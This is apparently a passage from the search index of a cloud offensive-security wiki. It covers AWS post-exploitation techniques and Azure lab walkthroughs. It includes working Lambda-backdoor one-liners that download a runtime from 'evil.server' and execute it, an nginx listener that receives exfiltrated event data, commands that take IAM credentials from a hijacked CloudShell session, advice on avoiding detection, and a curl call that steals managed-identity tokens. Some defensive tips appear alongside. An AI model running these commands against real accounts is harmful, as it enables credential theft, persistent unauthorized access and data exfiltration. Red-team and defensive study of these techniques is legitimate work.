<pre><code>$ aws s3 ls --endpoint-url https://attacker.s3.store\n2023-07-13 02:06:30 criminalbucket\n2023-07-13 22:01:36 exfiltrated-data\n</code></pre> <p>Tip</p> <p>As mentioned by Jesse Lepich, a layer 7 firewall like the AWS Network Firewall can be used to limit access to non-allowlisted domains.</p>"},{"location":"aws/post_exploitation/get_iam_creds_from_console_session/","title":"Get IAM Credentials from a Console Session","text":"<ul> <li> <p> Original Research</p> <p> <p>Retrieving AWS security credentials from the AWS consoletitle by Christophe Tafani-Dereeper</p> <p></p> </p> </li> </ul> <p>When performing a penetration test or red team assessment, it is not uncommon to gain access to a developer's machine. This presents an opportunity for you to jump into AWS infrastructure via credentials on the system. For a myriad of reasons you may not have access to credentials in the <code>.aws</code> folder, but instead have access to their browser's session cookies (for example via cookies.sqlite in FireFox).</p> <p>Gaining access to the Console is great, but it may not be ideal. You may want to use certain tools that would instead require IAM credentials.</p> <p>To get around this, we can leverage CloudShell. CloudShell exposes IAM credentials via an undocumented endpoint on port 1338. After loading session cookies from the victim into your browser, you can navigate to CloudShell and issue the following commands to get IAM credentials.</p> <pre><code>[user@cloudshell]$ TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H \"X-aws-ec2-metadata-token-ttl-seconds: 60\")\n\n[user@cloudshell]$ curl localhost:1338/latest/meta-data/container/security-credentials -H \"X-aws-ec2-metadata-token: $TOKEN\"\n</code></pre> <p>Alternatively, you can run the following command, which returns credentials with a short TTL (roughly 15m).</p> <pre><code>[user@cloudshell]$ aws configure export-credentials --format env\n</code></pre>"},{"location":"aws/post_exploitation/iam_persistence/","title":"AWS IAM Persistence Methods","text":"<p>After gaining a foothold in an AWS environment, an attacker may attempt to establish persistence. Doing this will allow them to return to the account later on to continue their activities. This article is a collection of such persistence techniques. It's worth noting at the time of writing, that this is a small subset of the world of possibilities available to an attacker, and more techniques will be added over time.</p> <p>More complex methods that require additional explanation will link to their respective Hacking the Cloud articles.</p>"},{"location":"aws/post_exploitation/iam_persistence/#iam-user-access-keys","title":"IAM User Access Keys","text":"<ul> <li> <p> Technique seen in the wild</p> <ul> <li>SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto </li> <li>Unmasking GUI-Vil: Financially Motivated Cloud Threat Actor</li> </ul> </li> <li> <p> Required IAM Permission</p> <ul> <li>iam:CreateAccessKey</li> </ul> </li> </ul> <p>AWS IAM users can create pairs of access keys to programmatically interact with the AWS API. These credentials can be used with the AWS CLI and allow those with access to those credentials to perform actions as the associated user.</p> <p>Access keys created this way are long lived (starting with AKIA), meaning that they do not time out or expire by default. Because of this, creating access keys for a user you'd like to maintain access to can be an incredibly simple and easy form of persistence in an AWS environment.</p> <p>Tip</p> <p>Aside from the opportunity to maintain persistence in an AWS environment, <code>iam:CreateAccessKey</code> can also potentially be used for lateral movement to create credentials for other users.</p>"},{"location":"aws/post_exploitation/iam_persistence/#iam-user-login-profile","title":"IAM User Login Profile","text":"<ul> <li> <p> Technique seen in the wild</p> <ul> <li>Unmasking GUI-Vil: Financially Motivated Cloud Threat Actor</li> </ul> </li> <li> <p> Required IAM Permission</p> <ul> <li>iam:CreateLoginProfile</li> </ul> </li> </ul> <p>AWS IAM users can be configured to access the AWS console with a username and password. An adversary with the <code>iam:CreateLoginProfile</code> permission can create login profiles for other users (specifying the password of their choosing). Through this method an adversary can maintain access to an IAM user by logging into the AWS console and performing operations from there.</p>"},{"location":"aws/post_exploitation/iam_persistence/#iam-role-assume-role-policy","title":"IAM Role Assume Role Policy","text":"<ul> <li> <p> Required IAM Permission</p> <ul> <li>iam:UpdateAssumeRolePolicy</li> </ul> </li> </ul> <p>In order to assume an IAM role, a role trust policy must be attached to it. This policy specifies the identities that are permitted to assume the role.</p> <p>An adversary could invoke <code>iam:UpdateAssumeRolePolicy</code>, specifying that their own, attacker-controlled AWS account is permitted to assume the role in the environment. This would allow the adversary to maintain access to that role, and use it when needed.</p> <pre><code>{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": {\n    \"Effect\": \"Allow\",\n    \"Action\": \"sts:AssumeRole\",\n    \"Resource\": \"arn:aws:iam::&lt;attacker_aws_account_id&gt;:role/secret_admin\"\n  }\n}\n</code></pre> <p>Tip</p> <p>For the defensive side; it is a good idea to regularly audit role trust policies that establish trust with AWS accounts outside of your organization. In most cases, this will likely identify SaaS and vendor AWS accounts, however it may turn up something much more nefarious.</p>"},{"location":"aws/post_exploitation/iam_persistence/#survive-access-key-deletion-with-stsgetfederationtoken","title":"Survive Access Key Deletion with sts:GetFederationToken","text":"<ul> <li> <p> Technique Article</p> <ul> <li>Survive Access Key Deletion with sts:GetFederationToken</li> </ul> </li> </ul>"},{"location":"aws/post_exploitation/iam_persistence/#ec2-instance-persistence","title":"EC2 Instance Persistence","text":"<p>EC2 instances which have an IAM role attached to them will have their own instance metadata service (IMDS) available. If an adversary has code execution on the EC2 instance, or is able to abuse server side request forgery in an application running on the host, they can steal IAM credentials from the IMDS.</p> <p>By maintaining access to an EC2 instance which has a role with the permissions you want, this can be an effective and quiet method to keep access to an AWS environment. No additional API calls are required to use those credentials.</p>"},{"location":"aws/post_exploitation/iam_persistence/#lambda-persistence","title":"Lambda Persistence","text":"<ul> <li> <p> Technique Article</p> <ul> <li>Lambda Persistence</li> </ul> </li> </ul>"},{"location":"aws/post_exploitation/iam_persistence/#user-data-script-persistence","title":"User Data Script Persistence","text":"<ul> <li> <p> Technique Article</p> <ul> <li>User Data Script Persistence</li> </ul> </li> </ul>"},{"location":"aws/post_exploitation/intercept_ssm_communications/","title":"Intercept SSM Communications","text":"<ul> <li> <p> Original Research</p> <p> <p>Intercept SSM Agent Communications by Nick Frichette </p> <p></p> </p> </li> <li> <p> Tools mentioned in this article</p> <p>ssm-agent-research</p> </li> </ul> <p>The SSM Agent is responsible for allowing EC2 instances to communicate with SSM services. The agent authenticates with SSM via the IAM role and the credentials in the Metadata Service. As a result, if you gain access to an EC2 instance or its IAM credentials you can spoof the agent and intercept EC2 Messages and SSM Sessions.</p> <p>For an in depth explanation of how this works, please see the original research. </p> <p>Warning</p> <p>The tools used in this page are proof of concept, and should not be used for serious use cases. If you create or find a more production-ready tool please open an issue.</p>"},{"location":"aws/post_exploitation/intercept_ssm_communications/#intercept-ec2-messages","title":"Intercept EC2 Messages","text":"<p>The normal operations of the SSM Agent is to poll for messages it has been sent. We can abuse this functionality by frequently polling ourselves. Doing so, will increase the likelihood (to a near guarantee) that we receive the messages before the real SSM agent does.</p> <p>By abusing this functionality we can intercept the EC2 messages and response with our own output, allowing us to force a \"Success\" response.</p> <p>Using the ssm-send-command-interception.py PoC:</p> <p></p> <p></p>"},{"location":"aws/post_exploitation/intercept_ssm_communications/#intercept-ssm-sessions","title":"Intercept SSM Sessions","text":"<p>Normally the SSM Agent will spawn a WebSocket connection back to SSM. This first WebSocket is the control channel and is responsible for spawning the data channels (which actually process the information). Due to this setup, we can spawn our own control channel and intercept all incoming connections. This can allow us to intercept or modify the communications happening, and potentially allow us to intercept sensitive commands and credentials.</p> <p>Using the ssm-session-interception.py PoC:</p> <p></p>"},{"location":"aws/post_exploitation/lambda_persistence/","title":"Lambda Persistence","text":"<ul> <li> <p> Original Research</p> <p>Gaining Persistency on Vulnerable Lambdas by Yuval Avrahami</p> </li> <li> <p> Additional Resources</p> <p>Revisiting Lambda Persistence</p> </li> </ul> <p>Warning</p> <p>Depending on the specific runtime and tools available, you will likely have to change the approach taken to gain persistence in a Lambda function. The general concepts should serve as a guide for a more specific attack you develop.</p> <p>After finding a remote code execution vulnerability in a Lambda function, you'll probably want to establish persistence. The steps to do this will depend on the specific runtime that is being used by the Lambda function. Below the Python and Ruby runtimes are used as an example.</p> <p>Note</p> <p>See the \"Creating a Listener\" section at the bottom of this page for how to setup a listener for exfiltrated data.</p>"},{"location":"aws/post_exploitation/lambda_persistence/#python-runtime","title":"Python Runtime","text":"<p>After identifying that your target is using the Python runtime, you'll need a copy of the <code>/var/runtime/bootstrap.py</code> file. You can get this by either creating your own Lambda function and copying it, or by leaking it from the target Lambda function.</p> <p>Next, you'll want to modify this runtime with some logic to backdoor it. This can be simply done with a few lines such as the following:</p> <p></p> <p>Note</p> <p>You can customize what the backdoor does, depending on what you're looking to do. Maybe you want to leak a specific user's data. Maybe you just want Cookies. It's up to you!</p> <p>With the <code>bootstrap.py</code> file backdoored, you'll want to host it in a location that is accessible for the Lambda function to pull down. </p> <p>The next step is creating a one-liner to pull down this modified code, as well as to terminate the current event in the Runtime API. This can be done by posting to a specific endpoint with the current request ID. All together, that code should look something like this:</p> <pre><code>import urllib3\nimport os\nhttp = urllib3.PoolManager()\n\n# Writing the new bootstrap to a file\nr = http.request('GET', 'https://evil.server/bootstrap.py')\nw = open('/tmp/bootstrap.py', 'w')\nw.write(r.data.decode('utf-8'))\nw.close()\n\n# Getting the current request ID\nr = http.request('GET', 'http://127.0.0.1:9001/2018-06-01/runtime/invocation/next')\nrid = r.headers['Lambda-Runtime-Aws-Request-Id']\n\n# End the current event\nhttp.request('POST', f'http://127.0.0.1:9001/2018-06-01/runtime/invocation/{rid}/response', body='null', headers={'Content-Type':'application/x-www-form-urlencoded'})\n\n# Swap the runtimes\nos.system('python3 /tmp/bootstrap.py')\n</code></pre> <p>Or as a long one-liner (don't forget to change the hostname):</p> <pre><code>python3 -c \"import urllib3;import os;http = urllib3.PoolManager();r = http.request('GET', 'https://evil.server/bootstrap.py');w = open('/tmp/bootstrap.py', 'w');w.write(r.data.decode('utf-8'));w.close();r = http.request('GET', 'http://127.0.0.1:9001/2018-06-01/runtime/invocation/next');rid = r.headers['Lambda-Runtime-Aws-Request-Id'];http.request('POST', f'http://127.0.0.1:9001/2018-06-01/runtime/invocation/{rid}/response', body='null', headers={'Content-Type':'application/x-www-form-urlencoded'});os.system('python3 /tmp/bootstrap.py')\"\n</code></pre> <p>From here on, all subsequent events should be leaked to the attacker. Remember that if the Lambda function is not used for 5-15 minutes, it will become \"cold\" and you will lose access to the persistence you've established. You can execute the function again to keep it \"warm\" or you can simply reestablish persistence.</p>"},{"location":"aws/post_exploitation/lambda_persistence/#ruby-runtime","title":"Ruby Runtime","text":"<p>After identifying that your target is using the Python runtime, you\u2019ll need a copy of the <code>/var/runtime/lib/runtime.rb</code> file. You can get this by either creating your own Lambda function and copying it, or by leaking it from the target Lambda function.</p> <p>Next, you\u2019ll want to modify this runtime with some logic to backdoor it. This can be simply done with a few lines such as the following:</p> <p></p> <p></p> <p>With the <code>runtime.rb</code> file backdoored, you\u2019ll want to host it in a location that is accessible for the Lambda function to pull down. Note, you'll likely want to rename it to something like <code>run.rb</code>. This is because you'll want to create a symbolic link between everything in <code>/var/runtime/lib</code> to <code>/tmp</code>. This will ensure your modified <code>runtime.rb</code> file can access all the additional libraries it needs.</p> <p>The next step is creating a one-liner to create those symbolic links, pull down this modified code, and execute it as well as to terminate the current event in the Runtime API. This can be done by posting to a specific endpoint with the current request ID. All together, that code should look something like this:</p> <pre><code>require 'net/http'\n\n# Writing the new runtime to a file\nuri = URI('https://evil.server/run.rb')\nr = Net::HTTP.get_response(uri)\nFile.write('/tmp/run.rb', r.body)\n\n# Getting the current request ID\nuri = URI('http://127.0.0.1:9001/2018-06-01/runtime/invocation/next')\nr = Net::HTTP.get_response(uri)\nrid = r.header['Lambda-Runtime-Aws-Request-Id']\n\n# End the current request\nuri = URI('http://127.0.0.1:9001/2018-06-01/runtime/invocation/'+rid+'/response')\nNet::HTTP.post(uri, 'null')\n</code></pre> <p>Or as a long one-liner (don\u2019t forget to change the hostname, create the symbolic links, or execute the code in the background):</p> <pre><code>ln -s /var/runtime/lib/* /tmp &amp;&amp; ruby -e \"require 'net/http';uri = URI('https://evil.server/run.rb');r = Net::HTTP.get_response(uri);File.write('/tmp/run.rb', r.body);uri = URI('http://127.0.0.1:9001/2018-06-01/runtime/invocation/next');r = Net::HTTP.get_response(uri);rid = r.header['Lambda-Runtime-Aws-Request-Id'];uri = URI('http://127.0.0.1:9001/2018-06-01/runtime/invocation/'+rid+'/response');Net::HTTP.post(uri, 'null')\" &amp;&amp; ruby /tmp/run.rb &amp;\n</code></pre> <p>From here on, all subsequent events should be leaked to the attacker. Remember that if the Lambda function is not used for 5-15 minutes, it will become \u201ccold\u201d and you will lose access to the persistence you\u2019ve established. You can execute the function again to keep it \u201cwarm\u201d or you can simply reestablish persistence.</p>"},{"location":"aws/post_exploitation/lambda_persistence/#creating-a-listener","title":"Creating a Listener","text":"<p>How you receive leaked events is up to you. The author found that the simplest way was via post requests to an Nginx server. The configuration was simple. First, outside of the server block, include a line like <code>log_format postdata $request_body</code>.</p> <p>Next, include the following inside the server block:</p> <pre><code>location = /post {\n    access_log /var/log/nginx/postdata.log postdata;\n    proxy_pass http://127.0.0.1/post_extra;\n}\nlocation = /post_extra {\n    access_log off;\n    return 200;\n}\n</code></pre> <p>After restarting Nginx, all logs received via post requests should be stored in <code>/var/log/nginx/postdata.log</code>.</p>"},{"location":"aws/post_exploitation/role-chain-juggling/","title":"Role Chain Juggling","text":"<ul> <li> <p> Original Research</p> <p>Daniel Heinsen </p> </li> <li> <p> Tools mentioned in this article</p> <p>AWSRoleJuggler</p> </li> </ul> <p>When doing an assessment in AWS you may want to maintain access for an extended period of time. You may not have the ability to create a new IAM user, or create a new key for existing users. How else can you extend your access? Role Chain Juggling.</p> <p>Role chaining is a recognized functionality of AWS in that you can use one assumed role to assume another one. When this happens the expiration field of the credentials is refreshed. This allows us to keep refreshing credentials over an over again.</p> <p>Through this, you can extend your access by chaining assume-role calls.</p> <p>Note</p> <p>You can chain the same role multiple times so long as the Trust Policy is configured correctly. Additionally, finding roles that can assume each other will allow you to cycle back and forth.</p> <p>To automate this work Daniel Heinsen developed a tool to keep the juggling going.</p> <pre><code>user@host:$ ./aws_role_juggler.py -h\nusage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]\n</code></pre>"},{"location":"aws/post_exploitation/run_shell_commands_on_ec2/","title":"Run Shell Commands on EC2 with Send Command or Session Manager","text":"<p>After escalating privileges in a target AWS account or otherwise gaining privileged access you may want to run commands on EC2 instances in the account. This article hopes to provide a quick and referenceable cheat sheet on how to do this via ssm:SendCommand or ssm:StartSession.</p> <p>Tip</p> <p>By default, the commands that are issued are not logged to CloudTrail. Specifically they are \"HIDDEN_DUE_TO_SECURITY_REASONS\". As a result, if an adversary were to leverage this tactic against an environment, defenders would need to get information about those commands from host based controls. Defenders, this is an excellent capability to validate. Alternatively, offensive security teams can do the testing.</p>"},{"location":"aws/post_exploitation/run_shell_commands_on_ec2/#send-command","title":"Send Command","text":"<ul> <li> <p> Required IAM Permissions</p> <ul> <li>ssm:SendCommand</li> </ul> </li> <li> <p> Recommended but not Required IAM Permissions</p> <ul> <li>ssm:ListCommandInvocations</li> <li>ec2:DescribeInstances</li> </ul> </li> </ul> <p>You can send arbitrary shell commands to EC2 instances from the AWS CLI via the following:</p> <pre><code>aws ssm send-command \\\n--instance-ids \"i-00000000000000000\" \\\n--document-name \"AWS-RunShellScript\"\n--parameters commands=\"*shell commands here*\"\n</code></pre> <p>If you're just looking to run a quick C2 payload, or perhaps create a new user this will likely be enough. However, if you also want to retrieve the output of the command you will need to make a ssm:ListCommandInvocations call as well.</p> <p>If you would like to retrieve the output, make a note of the <code>CommandId</code> returned to you in the Send Command call. After a short period of time (to let the command run) you can use this Id to lookup the results. You can do this with the following:</p> <pre><code>aws ssm list-command-invocations \\\n--command-id \"command_id_guid\" \\\n--details\n</code></pre> <p>Note</p> <p>The <code>--details</code> is required to view the output of the command.</p> <p>The output of the command will be in the <code>Output</code> section under <code>CommandPlugins</code>.</p>"},{"location":"aws/post_exploitation/run_shell_commands_on_ec2/#session-manager","title":"Session Manager","text":"<ul> <li> <p> Required IAM Permissions</p> <ul> <li>ssm:StartSession</li> </ul> </li> </ul> <p>If instead you'd like a more interactive shell experience, you can make use of Session Manager. Session Manager allows you to have an SSH-esc experience, making it easy to interact with EC2 instances.</p> <p>To begin, you will first need to install the SSM Session Manager Plugin. The specifics of this will depend on what operating system you are using.</p> <p>With that installed, you can then run the following command to start an interactive session.</p> <pre><code>aws ssm start-session --target instance-id\n</code></pre>"},{"location":"aws/post_exploitation/s3_acl_persistence/","title":"S3 File ACL Persistence","text":""},{"location":"aws/post_exploitation/s3_acl_persistence/#requirements","title":"Requirements","text":"<p>For this scenario to work, you will need to have s3:PutBucketAcl, s3:PutObjectAcl, or PutObjectVersionAcl on the target s3 bucket or associated object.</p>"},{"location":"aws/post_exploitation/s3_acl_persistence/#purpose","title":"Purpose","text":"<p>When doing an assessment in AWS you may want to maintain access for an extended period of time, but you may not have the ability to create a new IAM user, create a new key for existing users, or even perform IAM role-chain juggling. How else can you extend your access? By backdooring key S3 resources using S3 Access Control Lists (ACLs).  </p>"},{"location":"aws/post_exploitation/s3_acl_persistence/#background-on-sensitive-s3-use-cases","title":"Background on Sensitive S3 Use Cases","text":"<p>Many organizations have grown to use AWS S3 to store Terraform state files, CloudFormation Templates, SSM scripts, application source code, and/or automation scripts used to manage specific account resources (EC2 instances, Lambda Functions, etc.)  During post-exploitation, you may identify opportunities to access these resources. Provisioning write, or in some cases read only access to these resources, may provide persistent access to credentials for the AWS account and/or resources provisioned in the account. Furthermore, write access specifically may allow an attacker to update configuration files, source code for applications, and/or automation code that modifies downstream resources in the account. On the next update/execution of the relevant data/code, this may allow an attacker to further extend access to other resources in the account, or even beyond the specific AWS account accessed. This brings us to the method: S3 ACL Access Control.  </p>"},{"location":"aws/post_exploitation/s3_acl_persistence/#technique","title":"Technique","text":"<p>S3 ACL Access Control is a recognized functionality of AWS in that you can use an access control list to allow access to S3 buckets from outside your own AWS account without configuring an Identity-based or Resource-based IAM policy. While many organizations may be prepared to alert on S3 buckets made public via resource policy, this alerting may not extend to capabilities associated with bucket or object ACLs. Furthermore, subtler configurations that expose bucket or object resources to other accounts via ACLs may go undetected by organizations, even those with strong alerting capabilities. Using these permissions, you can extend your access by allowing other AWS accounts you control to read or write objects, buckets, and bucket ACLs. Furthermore, the access can be extended to AUTHENTICATED USERS, which is a term AWS uses to describe any AWS IAM principal in any other AWS account. The access can also be extended to ANY USER which is a term AWS uses to describe anonymous access that does not require authentication.</p>"},{"location":"aws/post_exploitation/s3_acl_persistence/#key-considerations","title":"Key Considerations","text":"<ol> <li>Bucket Public Access Block will prevent S3 bucket ACLs from being configured to allow public (ANY USER) access. If configured, it will provide some limitations to this technique.  It does not, however, block the sharing of an s3 object to a specific account, due to what AWS classifes as 'public'.</li> <li>ACLs for Buckets or objects can be disabled at the bucket level, which would mandate the bucket owner as the object owner no matter who uploads the object. From April 2023, AWS will make this the default for all newly created buckets.  </li> </ol>"},{"location":"aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/","title":"Survive Access Key Deletion with sts:GetFederationToken","text":"<ul> <li> <p> Technique seen in the wild</p> <ul> <li>How Adversaries Can Persist with AWS User Federation</li> </ul> </li> <li> <p> Required IAM Permission</p> <ul> <li>sts:GetFederationToken</li> </ul> </li> </ul> <p>After identifying that access keys have been compromised by an adversary, defenders will often immediately deactivate or delete those credentials. This is a good practice as it theoretically disables an adversary's access to the environment. However, it is important to know that an adversary can still use credentials generated from <code>sts:GetFederationToken</code>, even if the original access keys have been deleted.</p> <p><code>sts:GetFederationToken</code> is an API that can be invoked by IAM users and returns a set of temporary (ASIA...) IAM credentials. These credentials can be used normally through the CLI with 2 exceptions. From the documentation:</p> <ul> <li>You cannot call any IAM operations using the AWS CLI or the AWS API. </li> <li>You cannot call any AWS STS operations except <code>sts:GetCallerIdentity</code>.</li> </ul> <p>However, it is important to note that these limitations do not apply if an attacker generates a console session from IAM credentials. By using the AWS console you could interact with the IAM service and perform actions such as privilege escalation, maintaining persistence, etc.</p> <p>Tip</p> <p>If you are attempting to avoid detection, generating a console session from IAM credentials is NOT advised. There are numerous IoCs which may trigger alerts, such as a suspicious user-agent and the <code>ConsoleLogin</code> CloudTrail event. If at all possible, only use the IAM credentials generated from <code>sts:GetFederationToken</code> in the CLI.</p> <p>To create temporary IAM credentials using <code>sts:GetFederationToken</code>, you can use the following CLI command:</p> <pre><code>aws sts get-federation-token \\\n--name your_choice \\\n--policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess \\\n--duration-seconds 129600\n</code></pre> <p>Warning</p> <p>While all 3 parameters are configurable by the attacker, keep in mind the potential for detection based on this. For instance, in a highly monitored environment, would the use of the <code>AdministratorAccess</code> policy raise suspicions? What about an extremely long lived session?</p> <p>It is important to note that the provided <code>policy-arns</code> will use the intersection of the permissions that were passed. Meaning that if the user has no permissions, passing the <code>AdministratorAccess</code> policy will not provide it admin access to the account. This can, however, be helpful if you don't know what level of privilege you've compromised. By passing a highly privileged policy, you will ensure you will get the full access afforded to the identity.</p> <p>Tip</p> <p>In addition to passing a policy ARN, you can also pass an inline policy, which may be helpful to avoid suspicious use of certain policies.</p> <p>For defenders, in addition to deactivating or deleting IAM user access keys, it may be worthwhile to attach a \"DenyAll\" policy to the compromised user. This would ensure that even if an adversary was using this technique, they would not be able to use their generated credentials.</p> <p>It is also advisable to determine how common the use of <code>sts:GetFederationToken</code> is in your environments and alert on its use, or implement a Service Control Policy to prevent it.</p>"},{"location":"aws/post_exploitation/user_data_script_persistence/","title":"User Data Script Persistence","text":"<p>When using EC2 instances a common design pattern is to define a user data script to be run when an instance is first started or after a reboot. These scripts are typically used to install software, download a config, etc. Additionally these scripts are run as root or System which makes them even more useful. Should we gain access to an EC2 instance we may be able to persist by abusing user data scripts via two different methods.</p>"},{"location":"aws/post_exploitation/user_data_script_persistence/#modify-the-user-data-script","title":"Modify the User Data Script","text":"<ul> <li> <p> Required IAM Permissions</p> <ul> <li>modify-instance-attribute</li> </ul> </li> <li> <p> Recommended but not Required IAM Permissions</p> <ul> <li>ec2:StartInstances</li> <li>ec2:DescribeInstances</li> <li>ec2:StopInstances</li> </ul> </li> </ul> <p>If we have permission to directly modify the user data scripts, we can potentially persist by adding our own backdoor to it. To do this, we must stop the instance because user data scripts can only be modified when the instance is stopped. You could theoretically wait for this to happen naturally, have a script that constantly tries to modify it, or stop it yourself if you have permissions to do so.</p> <p>The steps to modify user data scripts can be found here.</p>"},{"location":"aws/post_exploitation/user_data_script_persistence/#modify-a-resource-called-by-the-script","title":"Modify a Resource Called by the Script","text":"<p>In situations where we cannot modify the user data script itself, we may be able to modify a resource called by the script. Say for example a script is downloaded by an S3 bucket, we may be able to add our backdoor to it.</p>"},{"location":"azure/abusing-managed-identities/","title":"Abusing Managed Identities","text":"<ul> <li> <p> Original Research</p> <p>Create an Azure Vulnerable Lab: Part #4 \u2013 Managed Identities by Andrei Agape</p> </li> </ul> <p>Using Managed Identities it is possible to grant a resource (such as VM/WebApp/Function/etc) access to other resource (such as Vaults/Storage Accounts/etc.) For example, if we want to give our web application access to a private storage account container without having to deal with how we safely store connection strings in config files or source code, we could use a managed identity.</p> <pre><code>Compute Resource --&gt; Managed Identity --&gt; Assigned Role(s) --&gt; Storage Account --&gt; Container\n</code></pre> <p>A Managed Identity can be a System or User identity. A System identity is bound to the resource, but a User identity is independent.</p>"},{"location":"azure/abusing-managed-identities/#setup-azure-managed-identity","title":"Setup Azure Managed Identity","text":"<p>First we enable the managed identity for the web application:</p> <p>)</p> <p>Once enabled, we are given the possibility to configure the roles assigned for this identity (i.e: permissions granted to the service that we enabled the identity for).</p> <p></p> <p>Lastly, we assign one or more roles (which is a set of permissions) for that identity. A role can be assigned at Subscription level, Resource group, Storage Account, Vault or SQL and it propagates \u201cdownwards\u201d in the Azure architecture layer.</p> <p>The default Owner, owning the resource, and Contributor, read/write content of the resource, roles have the most permissions.</p> <p></p> <p>Under each role, we can see in details what permissions are included. Azure also allows the user to configure custom roles in the case that the built-in ones are not suitable for your needs.</p> <p></p> <p>Similarly, to see who has permissions granted for a given resource, we can check under the Access Control (IAM) -&gt; View access to this resource.</p> <p></p> <p>So in our case, we should see under the Storage Account that the web application has Reader and Data Access:</p> <p></p>"},{"location":"azure/abusing-managed-identities/#next-steps","title":"Next steps","text":"<p>Now that we have the basics of how Managed Identity works, let\u2019s see how can we exploit this. Since the web application has access to the storage account, and we compromised the web application, we should also be able to gain access to the storage account as well. Simply put, we get the same permissions that compromised resource has assignred to it. Based on how poorly the Identity roles are assigned, it could even be the case that the permissions are assigned at the Subscription level, effectively granting us access to all the resources within the subscription!</p> <p></p> <p>While in our case it appears that the permissions are proper (we are limiting access only to the Storage Account that we need access to) and limit the roles to Reader and Data Access (instead of Contributor or Owner), there is still a caveat that allows us to exploit the access privileges. The web app only requires permissions to access the \"images\" container, however the identity access has been misconfigured and allows the application read permissions for all keys on the storage account. Thus granting the attacker the ability to access any container within the same account. </p>"},{"location":"azure/abusing-managed-identities/#exploiting-azure-managed-identity","title":"Exploiting Azure Managed Identity","text":"<p>Utilising command injection on the web app, we are able to make a curl request to the $IDENTITY_ENDPOINT URL stored in the environment variables and get an Access token and Account ID (clientId in the response) which can be used to authenticate to Azure. <pre><code>curl \"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&amp;api-version=2017-09-01\" -H secret:$IDENTITY_HEADER\n</code></pre> </p> <p>Using the Azure Powershell module, we can connect to Azure with the access token:  <pre><code>PS&gt; Install-Module -Name Az -Repository PSGallery -Force\nPS&gt; Connect-AzAccount -AccessToken &lt;access_token&gt; -AccountId &lt;client_id&gt;\n</code></pre></p> <p>Once the connection has been established, you will be able to see the details for the tenant, subscription and other details the compromised managed identity has access to - using the Get-AzResource Azure Powershell cmdlet, we can check which resources inside the subscription we can access:</p> <p></p> <p>To list the roles assigned to the managed identity, we can use the Azure Powershell cmdlet Get-AzRoleAssignment. This cmdlet requires and additional token from the Graph API which we can get from the https://graph.microsoft.com/ endpoint, additionally it requires the permission to list roles and permissions for identities which the compromised Managed Identity does not have.</p> <p>However, you can still try to access the Storage Account keys without these permissions and see if they are successful. For that you can use the Get-AzStorageAccountKey cmdlet with the Resource Group Name and Account Name that was found in the previous step.</p> <p>Get storage account keys:</p> <pre><code>&gt;Get-AzStorageAccountKey -ResourceGroupName \"0xpwnlab\" -AccountName \"0xpwnstorageacc\"\n\nKeyName Value                       Permissions CreationTime\n------- -----                       ----------- ----------\nkey1    L175hccq[...]lH9DJ==        Full 3/12/20...\nkey2    vcZiPzJp[...]ZkKvA==        Full 3/12/20...\n</code></pre> <p>http://aka.ms/storage-explorer</p> <p>If the above command returns two keys, then it means that our identity had permissions to list them.  Assuming this is the case - let\u2019s use these keys in Azure Storage Explorer and see if there are other containers stored on the same account. </p> <p>In the Azure Storage Explorer, we click the connect icon and select storage account or service.</p> <p></p> <p>On the second step, this time we select the Account name and key option:</p> <p></p> <p>For the Account name we use the name that we enumerated in the Get-AzResource step, and for the key; either of the two returned keys will work:</p> <p></p> <p>Once we connect, on the left side menu we should find a new storage account, we see 2 containers: the images container used by the web app, but also another one containing the flag. </p> <p></p> <p>And that\u2019s it!  We have just seen how utilising a command injection into a web app, we discovered that it had a managed identity associated to it. After we got the JWT access token, we connected to Azure using the Azure Powershell CLI and enumerated the resources that we have access to.  The improper permissions set for the Managed Identity allowed us to read the access key for the whole Storage Account and discover another private container that was not referenced anywhere, containing the flag for sensitive information. </p>"},{"location":"azure/anonymous-blob-access/","title":"Anonymous Blob Access","text":"<ul> <li> <p> Original Research</p> <p>Create an Azure Vulnerable Lab: Part #1 \u2013 Anonymous Blob Access by Andrei Agape</p> </li> </ul> <p>\"Storage Accounts\" is the service provided by Azure to store data in the cloud. A storage account can used to store:</p> <ul> <li>Blobs</li> <li>File shares</li> <li>Tables</li> <li>Queues</li> <li>VM disks</li> </ul> <p></p> <p>For this tutorial, we will focus on the Blobs section. Blobs are stored within a container, and we can have multiple containers within a storage account. When we create a container, Azure will ask on the permissions that we grant for public access. We can chose between:</p> <ul> <li>Private Access \u2013 no anonymous access is allowed</li> <li>Blob Access \u2013 we can access the blobs anonymously, as long as we know the full URL (container name + blob name)</li> <li>Container Access \u2013 we can access the blobs anonymously, as long we know the container name (directory listing is enabled, and we can see all the files stored inside the container)</li> </ul> <p>As you might have guessed, granting Container Access permission can be easily abused to download all the files stored within the container without any permissions as the only things required to be known are the storage account name and the container name, both of which can be enumerated with wordlists.</p>"},{"location":"azure/anonymous-blob-access/#exploiting-anonymous-blob-access","title":"Exploiting Anonymous Blob Access","text":"<p>Now, there are thousands of articles explaining how this can be abused and how to search for insecure storage in Azure, but to make things easier I\u2019ll do a TL:DR. One of the easiest way is to use MicroBurst, provide the storage account name to search for, and it\u2019ll check if the containers exists based on a wordlist saved in the Misc/permutations.txt:</p> <pre><code>PS &gt; import-module .\\MicroBurst.psm1\nPS&gt; Invoke-EnumerateAzureBlobs -Base 0xpwnstorageacc\nFound Storage Account - 0xpwnstorageacc.blob.core.windows.net\nFound Container - 0xpwnstorageacc.blob.core.windows.net/public\nPublic File Available: https://0xpwnstorageacc.blob.core.windows.net/public/flag.txt\n</code></pre> <p>Alternatively adding <code>?restype=container&amp;comp=list</code> after the container name: <pre><code>https://&lt;storage_account&gt;.blob.core.windows.net/&lt;container&gt;?restype=container&amp;comp=list\n</code></pre> Output: <pre><code>&lt;EnumerationResults ContainerName=\"https://0xpwnstorageacc.blob.core.windows.net/public\"&gt;\n    &lt;Blobs&gt;\n        &lt;Blob&gt;\n            &lt;Name&gt;flag.txt&lt;/Name&gt;\n            &lt;Url&gt;\nhttps://0xpwnstorageacc.blob.core.windows.net/public/flag.txt\n&lt;/Url&gt;\n            &lt;Properties&gt;\n                